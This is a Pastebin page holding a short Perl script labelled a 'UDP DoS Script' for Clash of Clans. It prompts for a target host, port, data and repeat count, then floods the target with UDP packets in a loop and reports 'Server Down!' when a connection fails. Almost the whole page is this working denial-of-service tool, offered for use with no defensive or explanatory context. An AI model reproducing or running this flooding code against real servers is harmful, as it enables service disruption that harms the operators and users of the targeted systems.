iViiRuS

udp.pl

Dec 30th, 2014
596
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4.  
  5. use IO::Socket;
  6. print q{
  7.  
  8.  
  9.                  ___________________________
  10.  
  11.                          UDP DoS Script
  12.                                  For
  13.                           Clash of Clans
  14.                          By, Sheikh Iblis
  15.                 ____________________________
  16. };
  17.  
  18. print "Host/IP Address : ";
  19. $serv = <stdin>;
  20. chop ($serv);
  21.  
  22. print "Port : ";
  23. $port = <stdin>;
  24. chop ($port);
  25.  
  26. print "Data :";
  27. $data = <stdin>;
  28. chop($data);
  29.  
  30. print "Times To Flood : ";
  31. $times = <stdin>;
  32. chop ($times);
  33.  
  34. for ($i=0; $i<$times; $i++)
  35. {
  36. $flood = IO::Socket::INET->new( Proto => "udp", PeerAddr => "$serv", PeerPort => "$port") || print "[*] Server Down!\n";
  37. print $flood $data;
  38. syswrite STDOUT, "[*] Packets Sent - ".$i."\n";
  39. }
  40.  
  41. print "[*] End of flood.\n";
RAW Paste Data